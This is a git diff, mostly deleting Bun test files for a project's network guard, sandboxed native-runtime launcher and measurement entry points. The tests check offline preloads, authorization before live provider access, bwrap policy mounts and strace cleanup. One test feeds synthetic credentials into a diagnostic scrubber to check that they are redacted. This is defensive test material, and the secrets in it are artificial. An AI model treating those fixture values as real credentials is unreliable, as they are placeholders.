expect(command!.argv.join(" ")).toContain(`bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/${script}.ts`); - } -}); - -test("native CLI command preload resolves as a file and latches refusal before any runtime launch", async () => { - const plan = planChecks(["scripts/test-network-guard.ts"], workspaces(ROOT)); - const command = localChecks(plan, true).find(command => command.name === "measure-claude-runtime")!; - const prefix = /bun (--no-install --preload \S+) scripts\/measure-claude-runtime\.ts/.exec(command.argv.at(-1)!)?.[1]; - expect(prefix).toBeDefined(); - const root = mkdtempSync(join(tmpdir(), "odysseus-cli-preload-")); directories.push(root); - const alias = join(root, "probe-runtime"), program = join(root, "refusal.ts"); - symlinkSync(process.execPath, alias); - writeFileSync(program, `import {nativeClaudeBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - if(globalThis.fetch.name!=="offlineFetch")throw Error("offline preload was not installed"); - delete process.env.GITHUB_ACTIONS;delete process.env.RUNNER_ENVIRONMENT; - try{nativeClaudeBoundary("/synthetic/native",[],{});}catch{}process.exit(0);`); - // The alias is deliberately outside automatic Bun-child preload propagation. - // Use the actual configured CLI flags; the program never execs native Claude. - const child = spawnGuardFixture([alias, ...prefix!.split(" "), program], { cwd: ROOT, - env: { PATH: "/usr/bin:/bin", HOME: root }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, child.guardOutput()]); - expect(code).not.toBe(0); - expect(output).toContain('"success":false,"nativeLaunched":false'); - expect(output).toContain("positive native proof requires a hosted runner"); -}); - - -test("standalone native SDK entries install the guard before importing their runtime dependencies", () => { - const entries = [ - "scripts/measure-claude-capability.ts", "scripts/measure-claude-runtime.ts", "scripts/measure-claude-usage.ts", - "scripts/measure-claude-haiku.ts", "scripts/measure-claude-enforcement.ts", "scripts/measure-claude-delegation.ts", - "scripts/measure-show-block.ts", "scripts/measure-show-block-server.ts", - "scripts/measure-turn-surface-live.ts", "scripts/measure-turn-surface-tokens.ts", "scripts/show-block-schema-forms.ts", - "scripts/capture-turn-surface.ts", "scripts/turn-surface-overlap.ts", "scripts/fixtures/claude-core-default-probe.ts", - "scripts/native-proof/hosted-app-child.ts", "scripts/native-proof/reference-integration-child.ts", - "experiments/fixtures/runtime-placement-probe.ts", "experiments/2052-title-provenance/probe.ts", - ]; - for (const entry of entries) { - const source = readFileSync(join(ROOT, entry), "utf8"); - // A first side-effect import evaluates the guard before static SDK imports, - // backend dependencies or dynamic SDK resolution in the entry's body. - expect(source.split("\n")[0], entry).toMatch(/^import (?:.* from )?"(?:\.\.\/|\.\/)+(?:scripts\/)?(?:test-network-child-preload|measurement-entry-preload)\.ts";$/); - } - const preload = readFileSync(join(ROOT, "scripts/test-network-child-preload.ts"), "utf8"); - expect(preload).toContain("const guard = installNetworkGuard();"); - expect(preload.indexOf("installNetworkGuard();")).toBeLessThan(preload.indexOf('await import("bun:test")')); -}); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index d7d219d400..cb569c448d 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -1,7 +1,7 @@ import { afterEach, expect, spyOn, test } from "bun:test"; import { chmodSync, cpSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; -import { join, resolve } from "node:path"; +import { dirname, join, resolve } from "node:path"; import { checkPackages } from "../scripts/check-packages"; import { browserDeterminismCommand, determinismCommand, localChecks, localStages, localUnitInventory, newReceipt, requireLocalSandbox, requireRuntimeTools, runPreflight, type PreflightStep } from "../scripts/check-pr"; import { DEFAULT_ROOTS, testArgv } from "../scripts/test"; @@ -423,7 +423,8 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-stage-links.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "offline-runner/pipes.ts", "offline-runner/masks.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + mkdirSync(dirname(join(dir, "scripts", helper)), {recursive:true}); cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/measurement-entry.test.ts b/tests/measurement-entry.test.ts deleted file mode 100644 index e67ae96de4..0000000000 --- a/tests/measurement-entry.test.ts +++ /dev/null @@ -1,65 +0,0 @@ -import { expect, test } from "bun:test"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { enterMeasurement, REAL_MEASUREMENT_WARNING } from "../scripts/measurement-entry"; -const ROOT=join(import.meta.dir,".."); -for (const entry of ["measure-turn-surface-live.ts","measure-turn-surface-tokens.ts","measure-show-block.ts","measure-show-block-server.ts","measure-real-provider-dispatch.ts","measure-pi-schema.ts","measure-sync-judge.ts"]) { - test(`${entry} refuses missing authorization and preserves explicitly authorized live access`, () => { - let installs=0; const warnings: string[]=[]; - const effects={installOffline(){installs++;},warn(message:string){warnings.push(message);}}; - expect(()=>enterMeasurement({entry,argv:[]},effects)).toThrow("before runtime import"); - expect(installs).toBe(0); expect(warnings).toEqual([]); - const protocol=entry.startsWith("measure-turn-surface-"); - expect(enterMeasurement({entry,argv:protocol?[]:["--allow-real-provider"],liveEval:protocol?"587":undefined},effects)).toBe("live"); - expect(installs).toBe(0); expect(warnings).toEqual([REAL_MEASUREMENT_WARNING]); - }); -} -test("offline measurements install the guard even with unrelated live environment metadata", () => { - for(const input of [{entry:"measure-claude-runtime.ts",argv:[],liveEval:"587"},{entry:"measure-turn-surface-live.ts",argv:[],liveEval:"587_OFFLINE"}]) { - let installs=0,warnings=0; - expect(enterMeasurement(input,{installOffline(){installs++;},warn(){warnings++;}})).toBe("offline"); - expect(installs).toBe(1);expect(warnings).toBe(0); - } -}); -test("every runnable measurement entry admits before runtime dependencies and nested capture shares admission", async () => { - for await (const file of new Bun.Glob("measure-*.ts").scan({cwd:join(ROOT,"scripts")})) { - const source=readFileSync(join(ROOT,"scripts",file),"utf8"); - if(["measure-sonnet55-cost.ts","measure-suggestions.ts","measure-kv-runs.ts"].includes(file)) { - expect(source,file).not.toContain("measurement-entry-preload"); - } else expect(source.split("\n")[0],file).toContain("measurement-entry-preload.ts"); - } - for(const file of ["capture-turn-surface.ts","turn-surface-overlap.ts","show-block-schema-forms.ts"]) - expect(readFileSync(join(ROOT,"scripts",file),"utf8").split("\n")[0]).toContain("measurement-entry-preload.ts"); - const preload=readFileSync(join(ROOT,"scripts/measurement-entry-preload.ts"),"utf8"); - expect(preload).not.toContain("await "); - expect(preload).toContain("installOffline: () => { installNetworkGuard(); }"); - expect(readFileSync(join(ROOT,"scripts/measure-real-provider-dispatch.ts"),"utf8")).toContain('String(prior), "--allow-real-provider"'); - expect(readFileSync(join(ROOT,"scripts/measure-show-block-server.ts"),"utf8")).toContain("...args, ...measurementAuthorizationArgs"); -}); -for (const [entry, argv] of [ - ["measure-show-block.ts", ["--suggestions", "--schema-cost"]], - ["measure-show-block-server.ts", ["--report", "saved.json"]], - ["measure-show-block-server.ts", ["--inspect-suggestions"]], - ["measure-real-provider-dispatch.ts", ["claude", "--dry-run"]], - ["measure-real-provider-dispatch.ts", ["--server", "claude", "/tmp/ithaca", "dry", "0"]], - ["measure-turn-surface-live.ts", ["--offline"]], -] as const) test(`${entry} ${argv.join(" ")} stays offline with or without authorization`, () => { - for (const authorized of [false,true]) { - let installs=0,warnings=0; - expect(enterMeasurement({entry,argv:[...argv,...(authorized?["--allow-real-provider"]:[])],liveEval:authorized?"587":undefined}, - {installOffline(){installs++;},warn(){warnings++;}})).toBe("offline"); - expect(installs).toBe(1);expect(warnings).toBe(0); - } -}); -for(const [entry,argv] of [["measure-show-block.ts",["--tokens"]],["measure-show-block.ts",["--suggestions","--tokens"]],["measure-show-block-server.ts",["--classify"]],["measure-real-provider-dispatch.ts",["--server","claude","/tmp/ithaca","live","0","--dry-run"]]] as const) - test(`${entry} ${argv.join(" ")} requires live authorization`,()=>expect(()=>enterMeasurement({entry,argv},{installOffline(){},warn(){}})).toThrow("before runtime import")); -test("Pi offline preload marker retains guard with or without live authorization",()=>{ - for(const argv of [[],["--allow-real-provider"]]) { - let installs=0,warnings=0; - expect(enterMeasurement({entry:"measure-pi-schema.ts",argv,piOffline:true},{installOffline(){installs++;},warn(){warnings++;}})).toBe("offline"); - expect(installs).toBe(1);expect(warnings).toBe(0); - } - const runner=readFileSync(join(ROOT,"scripts/pi-schema-runner.py"),"utf8"); - expect(runner).toContain('if not offline: command.append("--allow-real-provider")'); - expect(readFileSync(join(ROOT,"scripts/pi-schema-offline-preload.ts"),"utf8").split("\n")[0]).toBe('import "./test-network-child-preload.ts";'); -}); diff --git a/tests/measurement-rtk-fixture.test.ts b/tests/measurement-rtk-fixture.test.ts deleted file mode 100644 index 629db533be..0000000000 --- a/tests/measurement-rtk-fixture.test.ts +++ /dev/null @@ -1,66 +0,0 @@ -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -/** Plan and harmless re-entry only: no namespace or installed native runtime executes. */ -import { expect, test } from "bun:test"; -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; -import { tmpdir } from "node:os"; - -const ROOT=join(import.meta.dir,".."); -for(const mode of ["hosted","local","self-hosted"] as const) test(`cleared-env RTK re-entry preserves only the outer ${mode} qualification`,async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-rtk-reentry-")); - try { - const planFile=join(scratch,"plan.json"),parent=join(scratch,"parent.ts"),inner=join(scratch,"inner.ts"); - writeFileSync(parent,`import {writeFileSync} from "node:fs"; - const {enterMeasurementRtkView}=await import(${JSON.stringify(join(ROOT,"scripts/measurement-rtk-fixture.ts"))}); - ${mode==="hosted"?'delete process.env.GITHUB_ACTIONS;delete process.env.RUNNER_ENVIRONMENT;':'process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";'} - Bun.spawnSync=(()=>({exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)})); - Bun.spawn=((argv,options)=>{writeFileSync(${JSON.stringify(planFile)},JSON.stringify({argv,env:options.env}));return {exited:Promise.resolve(0)};}); - await enterMeasurementRtkView();`); - const child=spawnGuardFixture([process.execPath,parent],{env:{PATH:"/usr/bin:/bin",HOME:scratch,GITHUB_ACTIONS:mode==="local"?"false":"true",RUNNER_ENVIRONMENT:mode==="hosted"?"github-hosted":mode},stdout:"pipe",stderr:"pipe"}); - const [code,errors]=await Promise.all([child.exited,child.guardOutput()]);expect(code,errors).toBe(0); - const plan=JSON.parse(readFileSync(planFile,"utf8")) as {argv:string[];env:Record}; - expect(plan.env).toEqual({}); - let env:Record={}; - for(let i=0;i{if(argv[0]!=="bwrap")throw Error("unexpected qualification command");console.error("NAMESPACE_QUALIFIER_REACHED");return {exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)};}); - try{nativeClaudeBoundary("/usr/bin/true",[],{});}catch{}process.exit(0);`); - const reentry=spawnGuardFixture([process.execPath,inner],{env,stdout:"pipe",stderr:"pipe"}); - const [status,receipt]=await Promise.all([reentry.exited,reentry.guardOutput()]); - expect(status).not.toBe(0);expect(receipt).toContain('"nativeLaunched":false'); - if(mode==="hosted") { - expect(receipt).toContain("NAMESPACE_QUALIFIER_REACHED");expect(receipt).toContain("OS namespace setup failed"); - } else { - expect(receipt).not.toContain("NAMESPACE_QUALIFIER_REACHED");expect(receipt).toContain("positive native proof requires a hosted runner"); - } - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("RTK plan carries the outer compiled policy read-only without compiler mounts", async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-rtk-policy-")); - try { - const file=join(scratch,"plan.json"),script=join(scratch,"parent.ts"); - writeFileSync(script,`import {writeFileSync,readFileSync} from "node:fs"; - import {createHash} from "node:crypto"; - const {enterMeasurementRtkView}=await import(${JSON.stringify(join(ROOT,"scripts/measurement-rtk-fixture.ts"))}); - Bun.spawnSync=(()=>({exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)})); - Bun.spawn=((argv)=>{const target=argv.indexOf("/usr/local/bin/brain-native-connect"),source=argv[target-1]; - writeFileSync(${JSON.stringify(file)},JSON.stringify({argv,source,digest:createHash("sha256").update(readFileSync(source)).digest("hex")}));return {exited:Promise.resolve(0)};}); - await enterMeasurementRtkView();`); - const child=spawnGuardFixture([process.execPath,script],{stdout:"pipe",stderr:"pipe"}); - const [code,errors]=await Promise.all([child.exited,child.guardOutput()]);expect(code,errors).toBe(0); - const {argv,source,digest}=JSON.parse(readFileSync(file,"utf8")); - expect(source).toMatch(/odysseus-native-policy-[^/]+\/native-connect$/); - const at=argv.indexOf("/usr/local/bin/brain-native-connect");expect(argv.slice(at-2,at+1)).toEqual(["--ro-bind",source,"/usr/local/bin/brain-native-connect"]); - expect(argv).toContain("--native-socket-policy-sha256="+digest); - expect(argv).not.toContain("/usr/include");expect(argv).not.toContain("/usr/libexec"); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); diff --git a/tests/measurement-worker-fixture.test.ts b/tests/measurement-worker-fixture.test.ts deleted file mode 100644 index 3b34002a96..0000000000 --- a/tests/measurement-worker-fixture.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -import { expect, test } from "bun:test"; -import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; -import { tmpdir } from "node:os"; -import { createMeasurementWorkerFixture } from "../scripts/measurement-worker-fixture"; -import { workerCommand } from "../packages/ui-sdk/src/server/worker-launcher"; - -test("non-storage measurements bind existing copied inputs without keeper namespace outputs", () => { - const root=mkdtempSync(join(tmpdir(),"odysseus-measurement-input-")),brain=join(root,"brain"),home=join(root,"home"); - mkdirSync(brain);mkdirSync(home);writeFileSync(join(brain,"voyage.md"),"Odysseus charts Ithaca on 2026-07-12.\n"); - let fixture: ReturnType | undefined; - try { - fixture=createMeasurementWorkerFixture(brain,home); - expect(fixture.request.workerSandbox.areas).toEqual([]); - expect(existsSync(fixture.request.workerStartupView.root)).toBe(true); - // Pure launcher planning: no worker or installed SDK runtime executes. - const argv=workerCommand({brainPath:brain,command:["/usr/bin/true"],env:{HOME:home}, - sandbox:fixture.request.workerSandbox,startupView:fixture.request.workerStartupView}); - expect(argv).not.toContain("--target"); - let temporarySources=0; - for(let i=0;i{ - const root=mkdtempSync("/tmp/odysseus-app-authority-"),first=join(root,"first"),second=join(root,"second");mkdirSync(first);mkdirSync(second); - const releaseFirst=nativeFixtureAppAuthority([first]),index=createPrivateIndexDirectory();let go!:()=>void; - const gate=new Promise(resolve=>go=resolve); - const next=Promise.resolve().then(async()=>{await gate;const releaseSecond=nativeFixtureAppAuthority([second]);try{const releaseIndex=nativeFixturePrivateIndex(index,second);releaseIndex();return "INDEPENDENT_FIXTURE_DECLARED";}finally{releaseSecond();}}); - releaseFirst();rmSync(first,{recursive:true});go(); - try{await expect(next,"CLOSED_APP_SCOPE_DOES_NOT_POISON_NEXT_FIXTURE").resolves.toBe("INDEPENDENT_FIXTURE_DECLARED");} - finally{releaseFirst();removePrivateIndexDirectory(index);rmSync(root,{recursive:true,force:true});} -}); - -test("closing one app fixture leaves a second fixture's actual service live",async()=>{ - const root=mkdtempSync("/tmp/odysseus-app-services-"),first=join(root,"first"),second=join(root,"second");mkdirSync(first);mkdirSync(second); - const urls:string[]=[],serve=Bun.serve,observer=spyOn(Bun,"serve").mockImplementation(((options:any)=>{const server=serve(options);if(options.hostname==="127.0.0.1")urls.push(server.url.origin);return server;}) as typeof Bun.serve); - let releaseFirst:(()=>void)|undefined,releaseSecond:(()=>void)|undefined; - try{releaseFirst=nativeFixtureAppAuthority([first]);releaseSecond=nativeFixtureAppAuthority([second]);releaseFirst();expect(urls,"APP_FIXTURES_OWN_INDEPENDENT_BOOT_SERVICES").toHaveLength(2);expect((await fetch(urls[1]!)).status,"SECOND_SERVICE_SURVIVES_FIRST_CLOSE").toBe(400);} - finally{releaseSecond?.();releaseFirst?.();observer.mockRestore();rmSync(root,{recursive:true,force:true});} -}); - -test("a stale app context cannot register new product input after app cleanup",async()=>{ - const root=mkdtempSync("/tmp/odysseus-app-expired-"),index=createPrivateIndexDirectory(),release=nativeFixtureAppAuthority([root]);let go!:()=>void; - const gate=new Promise(resolve=>go=resolve),late=Promise.resolve().then(async()=>{await gate;return nativeFixturePrivateIndex(index,root);});release();go(); - try{await expect(late,"CLOSED_APP_AUTHORITY_REFUSES_REUSE").rejects.toThrow("native fixture app authority unavailable");} - finally{release();removePrivateIndexDirectory(index);rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-audit-cancellation.test.ts b/tests/native-audit-cancellation.test.ts deleted file mode 100644 index 94a8e54d42..0000000000 --- a/tests/native-audit-cancellation.test.ts +++ /dev/null @@ -1,46 +0,0 @@ -/** Real tracer lifecycle, with a synthetic Bun child only; never launches Claude. */ -import { expect, test } from "bun:test"; -import { auditNativeLaunch } from "../scripts/test-native-guard"; -import { watchdogMs } from "../scripts/test-deadlines"; - -for (const signal of ["SIGTERM", "SIGKILL"] as const) test(`native audit ${signal} cancellation terminates tracer and synthetic child and closes pipes`, async () => { - expect(Bun.which("strace"), "strace is required for audit lifecycle proof").toBeTruthy(); - const audit = auditNativeLaunch([process.execPath, "-e", 'console.log(process.pid);setInterval(()=>{},1000)'], [process.execPath], () => {}); - const child = Bun.spawn(audit.argv, { stdin: "pipe", stdout: "pipe", stderr: "pipe" }); - let fixturePid: number | undefined, timer: ReturnType | undefined; - try { - const reader = child.stdout.getReader(); - const ready = await reader.read(); - fixturePid = Number(new TextDecoder().decode(ready.value).trim()); - expect(Number.isSafeInteger(fixturePid) && fixturePid! > 1).toBe(true); - child.kill(signal); - const completion = Promise.all([child.exited, reader.read(), new Response(child.stderr).text()]); - const [code, tail] = await Promise.race([completion, new Promise((_, reject) => { - timer = setTimeout(() => reject(Error("AUDIT_CANCELLATION_STALLED")), watchdogMs(3000)); - })]); - expect(code).not.toBe(0); - expect(tail.done).toBe(true); - expect(audit.receipt()).toMatchObject({ nativeLaunched: true, success: true }); - } finally { - if (timer) clearTimeout(timer); - // Exact fixture PID only; a broken tracer must not leave the mutant alive. - if (fixturePid && Number.isSafeInteger(fixturePid) && fixturePid > 1) { - try { process.kill(fixturePid, "SIGKILL"); } catch { /* Already reaped. */ } - } - child.kill("SIGKILL"); child.stdin.end(); audit.dispose(); - } -}, watchdogMs(15000)); - -test("live native audit supplies exact successful exec PIDs without finishing the audit",async()=>{ - const {realpathSync,readFileSync}=await import("node:fs"); - const executable=realpathSync("/usr/bin/python3"); - const audit=auditNativeLaunch([executable,"-I","-S","-c","import os,time;print(os.getpid(),flush=True);time.sleep(30)"],[executable],()=>{}); - const child=Bun.spawn(audit.argv,{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); - try{ - const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock(); - const pid=Number(new TextDecoder().decode(ready.value).trim()); - const start=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!; - expect([...audit.liveExecs()],"LIVE_AUDIT_EXACT_PAYLOAD_IDENTITY").toEqual([[pid,start]]); - expect([...audit.liveExecs()],"LIVE_AUDIT_IS_REPEATABLE_BEFORE_FINISH").toEqual([[pid,start]]); - }finally{child.kill();await child.exited;await new Response(child.stderr).text();audit.dispose();} -},watchdogMs(15000)); diff --git a/tests/native-bootstrap-diagnostics.test.ts b/tests/native-bootstrap-diagnostics.test.ts deleted file mode 100644 index e1ccfa14d1..0000000000 --- a/tests/native-bootstrap-diagnostics.test.ts +++ /dev/null @@ -1,127 +0,0 @@ -import { watchdogMs } from "../scripts/test-deadlines"; -import { expect, test } from "bun:test"; -import { join } from "node:path"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; - -test("nonzero trusted bootstrap forwards protocol stderr and records a scrubbed reason", async () => { - const pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); - const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"); - const child=spawnGuardFixture([process.execPath,"-e",` - import {mock} from "bun:test"; - const guard={...await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))})}; - mock.module(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))},()=>({...guard,nativeWorkerBoundary(env){return {...guard.nativeWorkerBoundary(env),native:Boolean(env.BRAIN_WORKER_LAUNCH)};}})); - import {Readable} from "node:stream"; - import {createWorkerPipes} from ${JSON.stringify(pipes)}; - const p=createWorkerPipes();const streams=p.streams();const errors=new Response(Readable.toWeb(streams.stderr)).text(); - const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/false"],argv:["/usr/bin/false"]})},stdio:[p.child[0],p.child[1],p.child[2],1]}); - p.closeChild();streams.stdin.end();const code=await boot.exited;console.error("FORWARDED:"+await errors);streams.stdout.destroy();await Bun.sleep(30); - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - expect(output,"BOOTSTRAP_STDERR_FORWARDED").toContain("Worker launcher refused: non-protocol descriptor"); - const records=output.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"')).map(line=>JSON.parse(line)); - expect(records,"BOOTSTRAP_FAILURE_HAS_REASON").toHaveLength(1); - expect(records[0].reason).toContain("non-protocol descriptor");expect(records[0].exitCode).toBe(1); -}); - -test("bootstrap reason records redact named credentials and bound diagnostic text",async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); - const child=spawnGuardFixture([process.execPath,"-e",` - import {prepareNativeBootstrapDiagnostics,recordNativeGuardChild} from ${JSON.stringify(guard)}; - import {createWorkerPipes} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"))}; - const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); - const capture=prepareNativeBootstrapDiagnostics({stderr:p.child[2],stdout:"ignore",stdin:"ignore"}); - const boot=Bun.spawn(["/bin/sh","-c","exit 7"],capture.options); - const evidence=capture.attach(boot);p.closeChild();streams.stdin.end(); - recordNativeGuardChild(boot,true,{...evidence,snapshot:()=> ["MY_PASSWORD=short-secret",'{"token":"tiny-token"}',"Error: ANTHROPIC_AUTH_TOKEN=error-auth-value","failed: MY_PASSWORD=failure-password-value",'{"env":{"apiKey":"nested-api-value"}}','headers: {"x-api-key":"nested-header-value"}','config={"token":"nested-config-value"}' ,"/home/odysseus/private.json","bwrap: Can\'t create file at /etc/odysseus.conf: Read-only file system",Array(4000).fill("benign").join(String.fromCharCode(10))].join(String.fromCharCode(10))}); - await boot.exited;await evidence.drained;await Bun.sleep(30); - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - const record=JSON.parse(output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-bootstrap-failure"'))!); - expect(record.reason.length,"BOOTSTRAP_REASON_IS_BOUNDED").toBeLessThanOrEqual(4096); - expect(record.reason.length).toBeGreaterThan(3000); - expect(record.reason).toContain("[mount-target etc]");expect(record.reason).not.toContain("odysseus.conf"); - for(const value of ["short-secret","tiny-token","/home/odysseus","error-auth-value","failure-password-value","nested-api-value","nested-header-value","nested-config-value"])expect(record.reason,"BOOTSTRAP_REASON_IS_SCRUBBED").not.toContain(value); -}); - -test("diagnostic tee preserves FIFO-only bootstrap admission for a harmless executable",async()=>{ - const entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); - const child=spawnGuardFixture([process.execPath,"-e",` - import {mock} from "bun:test"; - const guard={...await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))})}; - mock.module(${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))},()=>({...guard,nativeWorkerBoundary(env){return {...guard.nativeWorkerBoundary(env),native:Boolean(env.BRAIN_WORKER_LAUNCH)};}})); - import {createWorkerPipes} from ${JSON.stringify(pipes)}; - const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); - const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true"],argv:["/usr/bin/true"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); - p.closeChild();streams.stdin.end();const code=await boot.exited;if(code!==0)throw Error("SYNTHETIC_FIFO_BOOTSTRAP_REFUSED");await Bun.sleep(30); - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - expect(output).toContain('"exitCode":0');expect(output).not.toContain('"kind":"native-offline-bootstrap-failure"'); -}); - -test("an SDK-first nonzero exit cannot overtake its bootstrap reason and audit receipt",async()=>{ - const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); - const child=spawnGuardFixture([process.execPath,"-e",` - import {mock} from "bun:test"; - const stream={...await import("node:stream/promises")};mock.module("node:stream/promises",()=>({...stream,pipeline:(source,sink)=>{const end=sink.end.bind(sink);sink.end=(...args)=>{setTimeout(()=>end(...args),50);return sink;};return stream.pipeline(source,sink);}})); - const guard={...await import(${JSON.stringify(guard)})};const audit=guard.auditNativeLaunch(["/usr/bin/false"],["/usr/bin/true"],()=>{}); - mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const boundary=guard.nativeWorkerBoundary(env);return {...boundary,native:Boolean(env.BRAIN_WORKER_LAUNCH),dispose(){if(env.BRAIN_WORKER_LAUNCH)audit.dispose();boundary.dispose();}};}})); - const {createWorkerPipes}=await import(${JSON.stringify(pipes)});const p=createWorkerPipes(),streams=p.streams();streams.stderr.resume();streams.stdout.resume(); - const boot=Bun.spawn([process.execPath,${JSON.stringify(entry)}],{env:{PATH:"/usr/bin:/bin",BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/bin/sh","-c","echo synthetic-bootstrap-failure >&2; exit 1"],argv:["/bin/sh","-c","echo synthetic-bootstrap-failure >&2; exit 1"]})},stdin:p.child[0],stdout:p.child[1],stderr:p.child[2]}); - p.closeChild();streams.stdin.end();await boot.exited;process.exit(1); - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code).toBe(1); - expect(output,"SDK_EXIT_PRESERVES_BOOTSTRAP_REASON").toContain('"kind":"native-offline-bootstrap-failure"'); - expect(output).toContain("synthetic-bootstrap-failure"); - expect(output,"SDK_EXIT_PRESERVES_AUDIT").toContain('"kind":"native-offline-audit"'); -}); - -for(const mode of ["parent","timeout","exit143"] as const)test(`bootstrap termination reason distinguishes ${mode} from unexplained failure`,async()=>{ - const child=spawnGuardFixture([process.execPath,"-e",` - import {recordNativeGuardChild} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; - const boot=Bun.spawn(${mode==="exit143"?'["/bin/sh","-c","exit 143"]':'["/usr/bin/sleep","30"]'},{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"pipe",${mode==="timeout"?'timeout:50,':''}}); - const reported=recordNativeGuardChild(boot,true);${mode==="parent"?'boot.kill("SIGTERM");':''}await reported; - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code,out).toBe(0); - const records=out.split("\n").filter(line=>line.startsWith('{"kind":"native-offline-bootstrap-')).map(line=>JSON.parse(line)); - if(mode==="exit143")expect(records.some(record=>record.kind==="native-offline-bootstrap-failure"),"UNREQUESTED_EXIT143_IS_STILL_FAILURE").toBe(true); - else {expect(records.find(record=>record.kind==="native-offline-bootstrap-termination")?.reason,"EXPECTED_TERMINATION_HAS_FIXED_REASON").toBe(mode==="parent"?"terminated by parent signal":"terminated by signal");expect(out).not.toContain("stderr reason unavailable");} -}); - -for(const delay of [0,150])test(`cleanup kill after exit 1 preserves the bootstrap failure reason (${delay}ms)`,async()=>{ - const child=spawnGuardFixture([process.execPath,"-e",` - import {recordNativeGuardChild} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; - import {readFileSync} from "node:fs"; - const boot=Bun.spawn(["/bin/sh","-c","echo fixture child failed >&2; exit 1"],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"pipe"}); - let text="";const drained=new Response(boot.stderr).text().then(value=>{text=value;}); - const 